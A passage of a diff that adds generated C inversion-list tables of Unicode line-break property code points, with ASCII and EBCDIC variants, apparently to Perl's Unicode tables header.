+	0x201F,
+	0x2045,
+	0x2046,
+	0x207D,
+	0x207E,
+	0x208D,
+	0x208E,
+	0x2308,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x2329,
+	0x232A,
+	0x2768,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x27C5,
+	0x27C6,
+	0x27E6,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x2983,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x29D8,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29FC,
+	0x29FD,
+	0x2E18,
+	0x2E19,
+	0x2E22,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x2E42,
+	0x2E43,
+	0x3008,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3014,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0x301D,
+	0x301E,
+	0xFD3F,
+	0xFD40,
+	0xFE17,
+	0xFE18,
+	0xFE35,
+	0xFE36,
+	0xFE37,
+	0xFE38,
+	0xFE39,
+	0xFE3A,
+	0xFE3B,
+	0xFE3C,
+	0xFE3D,
+	0xFE3E,
+	0xFE3F,
+	0xFE40,
+	0xFE41,
+	0xFE42,
+	0xFE43,
+	0xFE44,
+	0xFE47,
+	0xFE48,
+	0xFE59,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFF08,
+	0xFF09,
+	0xFF3B,
+	0xFF3C,
+	0xFF5B,
+	0xFF5C,
+	0xFF5F,
+	0xFF60,
+	0xFF62,
+	0xFF63,
+	0x13258,
+	0x1325B,
+	0x13286,
+	0x13287,
+	0x13288,
+	0x13289,
+	0x13379,
+	0x1337A,
+	0x145CE,
+	0x145CF,
+	0x1E95E,
+	0x1E960
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__PO_invlist[] = { /* for ASCII/Latin1 */
+	41,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x25,
+	0x26,
+	0xA2,
+	0xA3,
+	0xB0,
+	0xB1,
+	0x609,
+	0x60C,
+	0x66A,
+	0x66B,
+	0x9F2,
+	0x9F4,
+	0x9F9,
+	0x9FA,
+	0xD79,
+	0xD7A,
+	0x2030,
+	0x2038,
+	0x20A7,
+	0x20A8,
+	0x20B6,
+	0x20B7,
+	0x20BB,
+	0x20BC,
+	0x20BE,
+	0x20BF,
+	0x2103,
+	0x2104,
+	0x2109,
+	0x210A,
+	0xA838,
+	0xA839,
+	0xFDFC,
+	0xFDFD,
+	0xFE6A,
+	0xFE6B,
+	0xFF05,
+	0xFF06,
 	0xFFE0,
+	0xFFE1
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__PO_invlist[] = { /* for EBCDIC 1047 */
+	41,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4A,
+	0x4B,
+	0x6C,
+	0x6D,
+	0x90,
+	0x91,
+	0x609,
+	0x60C,
+	0x66A,
+	0x66B,
+	0x9F2,
+	0x9F4,
+	0x9F9,
+	0x9FA,
+	0xD79,
+	0xD7A,
+	0x2030,
+	0x2038,
+	0x20A7,
+	0x20A8,
+	0x20B6,
+	0x20B7,
+	0x20BB,
+	0x20BC,
+	0x20BE,
+	0x20BF,
+	0x2103,
+	0x2104,
+	0x2109,
+	0x210A,
+	0xA838,
+	0xA839,
+	0xFDFC,
+	0xFDFD,
+	0xFE6A,
+	0xFE6B,
+	0xFF05,
+	0xFF06,
+	0xFFE0,
+	0xFFE1
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__PO_invlist[] = { /* for EBCDIC 037 */
+	41,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4A,
+	0x4B,
+	0x6C,
+	0x6D,
+	0x90,
+	0x91,
+	0x609,
+	0x60C,
+	0x66A,
+	0x66B,
+	0x9F2,
+	0x9F4,
+	0x9F9,
+	0x9FA,
+	0xD79,
+	0xD7A,
+	0x2030,
+	0x2038,
+	0x20A7,
+	0x20A8,
+	0x20B6,
+	0x20B7,
+	0x20BB,
+	0x20BC,
+	0x20BE,
+	0x20BF,
+	0x2103,
+	0x2104,
+	0x2109,
+	0x210A,
+	0xA838,
+	0xA839,
+	0xFDFC,
+	0xFDFD,
+	0xFE6A,
+	0xFE6B,
+	0xFF05,
+	0xFF06,
+	0xFFE0,
+	0xFFE1
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__PR_invlist[] = { /* for ASCII/Latin1 */
+	45,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x24,
+	0x25,
+	0x2B,
+	0x2C,
+	0x5C,
+	0x5D,
+	0xA3,
+	0xA6,
+	0xB1,
+	0xB2,
+	0x58F,
+	0x590,
+	0x9FB,
+	0x9FC,
+	0xAF1,
+	0xAF2,
+	0xBF9,
+	0xBFA,
+	0xE3F,
+	0xE40,
+	0x17DB,
+	0x17DC,
+	0x20A0,
+	0x20A7,
+	0x20A8,
+	0x20B6,
+	0x20B7,
+	0x20BB,
+	0x20BC,
+	0x20BE,
+	0x20BF,
+	0x20D0,
+	0x2116,
+	0x2117,
+	0x2212,
+	0x2214,
+	0xFE69,
+	0xFE6A,
+	0xFF04,
+	0xFF05,
 	0xFFE1,
 	0xFFE2,
 	0xFFE5,
+	0xFFE7
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__PR_invlist[] = { /* for EBCDIC 1047 */
+	47,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4E,
+	0x4F,
+	0x5B,
+	0x5C,
+	0x8F,
+	0x90,
+	0x9F,
+	0xA0,
+	0xB1,
+	0xB3,
+	0xE0,
+	0xE1,
+	0x58F,
+	0x590,
+	0x9FB,
+	0x9FC,
+	0xAF1,
+	0xAF2,
+	0xBF9,
+	0xBFA,
+	0xE3F,
+	0xE40,
+	0x17DB,
+	0x17DC,
+	0x20A0,
+	0x20A7,
+	0x20A8,
+	0x20B6,
+	0x20B7,
+	0x20BB,
+	0x20BC,
+	0x20BE,
+	0x20BF,
+	0x20D0,
+	0x2116,
+	0x2117,
+	0x2212,
+	0x2214,
+	0xFE69,
+	0xFE6A,
+	0xFF04,
+	0xFF05,
+	0xFFE1,
+	0xFFE2,
+	0xFFE5,
+	0xFFE7
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__PR_invlist[] = { /* for EBCDIC 037 */
+	47,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4E,
+	0x4F,
+	0x5B,
+	0x5C,
+	0x8F,
+	0x90,
+	0x9F,
+	0xA0,
+	0xB1,
+	0xB3,
+	0xE0,
+	0xE1,
+	0x58F,
+	0x590,
+	0x9FB,
+	0x9FC,
+	0xAF1,
+	0xAF2,
+	0xBF9,
+	0xBFA,
+	0xE3F,
+	0xE40,
+	0x17DB,
+	0x17DC,
+	0x20A0,
+	0x20A7,
+	0x20A8,
+	0x20B6,
+	0x20B7,
+	0x20BB,
+	0x20BC,
+	0x20BE,
+	0x20BF,
+	0x20D0,
+	0x2116,
+	0x2117,
+	0x2212,
+	0x2214,
+	0xFE69,
+	0xFE6A,
+	0xFF04,
+	0xFF05,
+	0xFFE1,
+	0xFFE2,
+	0xFFE5,
+	0xFFE7
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__QU_invlist[] = { /* for ASCII/Latin1 */
+	27,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x22,
+	0x23,
+	0x27,
+	0x28,
+	0xAB,
+	0xAC,
+	0xBB,
+	0xBC,
+	0x2018,
+	0x201A,
+	0x201B,
+	0x201E,
+	0x201F,
+	0x2020,
+	0x2039,
+	0x203B,
+	0x275B,
+	0x2761,
+	0x2E00,
+	0x2E0E,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E22,
+	0x1F676,
+	0x1F679
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__QU_invlist[] = { /* for EBCDIC 1047 */
+	25,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x7D,
+	0x7E,
+	0x7F,
+	0x80,
+	0x8A,
+	0x8C,
+	0x2018,
+	0x201A,
+	0x201B,
+	0x201E,
+	0x201F,
+	0x2020,
+	0x2039,
+	0x203B,
+	0x275B,
+	0x2761,
+	0x2E00,
+	0x2E0E,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E22,
+	0x1F676,
+	0x1F679
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__QU_invlist[] = { /* for EBCDIC 037 */
+	25,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x7D,
+	0x7E,
+	0x7F,
+	0x80,
+	0x8A,
+	0x8C,
+	0x2018,
+	0x201A,
+	0x201B,
+	0x201E,
+	0x201F,
+	0x2020,
+	0x2039,
+	0x203B,
+	0x275B,
+	0x2761,
+	0x2E00,
+	0x2E0E,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E22,
+	0x1F676,
+	0x1F679
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_LB__SA_invlist[] = { /* for all charsets */
+	85,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xE01,
+	0xE3B,
+	0xE40,
+	0xE4F,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xEDC,
+	0xEE0,
+	0x1000,
+	0x1040,
+	0x1050,
+	0x1090,
+	0x109A,
+	0x10A0,
+	0x1780,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DE,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19DA,
+	0x19DB,
+	0x19DE,
+	0x19E0,
+	0x1A20,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1AA0,
+	0x1AAE,
+	0xA9E0,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA60,
+	0xAAC3,
+	0xAADB,
+	0xAAE0,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x1173A,
+	0x1173C,
+	0x1173F,
+	0x11740
+};
+
+static const UV PL_LB__SG_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD800,
+	0xE000
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__SP_invlist[] = { /* for ASCII/Latin1 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x20,
+	0x21
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__SP_invlist[] = { /* for EBCDIC 1047 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0x41
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__SP_invlist[] = { /* for EBCDIC 037 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0x41
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__SY_invlist[] = { /* for ASCII/Latin1 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2F,
+	0x30
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__SY_invlist[] = { /* for EBCDIC 1047 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x61,
+	0x62
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__SY_invlist[] = { /* for EBCDIC 037 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x61,
+	0x62
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_LB__WJ_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2060,
+	0x2061,
+	0xFEFF,
+	0xFF00
+};
+
+static const UV PL_LB__XX_invlist[] = { /* for all charsets */
+	1216,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x378,
+	0x37A,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58D,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x61D,
+	0x61E,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FE,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF2,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD50,
+	0xD54,
+	0xD64,
+	0xD66,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BF4,
+	0x1BFC,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CFA,
+	0x1D00,
+	0x1DFA,
+	0x1DFB,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2065,
+	0x2066,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20F1,
+	0x2100,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CF4,
+	0x2CF9,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA6F8,
+	0xA700,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C6,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8FE,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAAC3,
+	0xAADB,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xD800,
+	0xE000,
+	0xF900,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
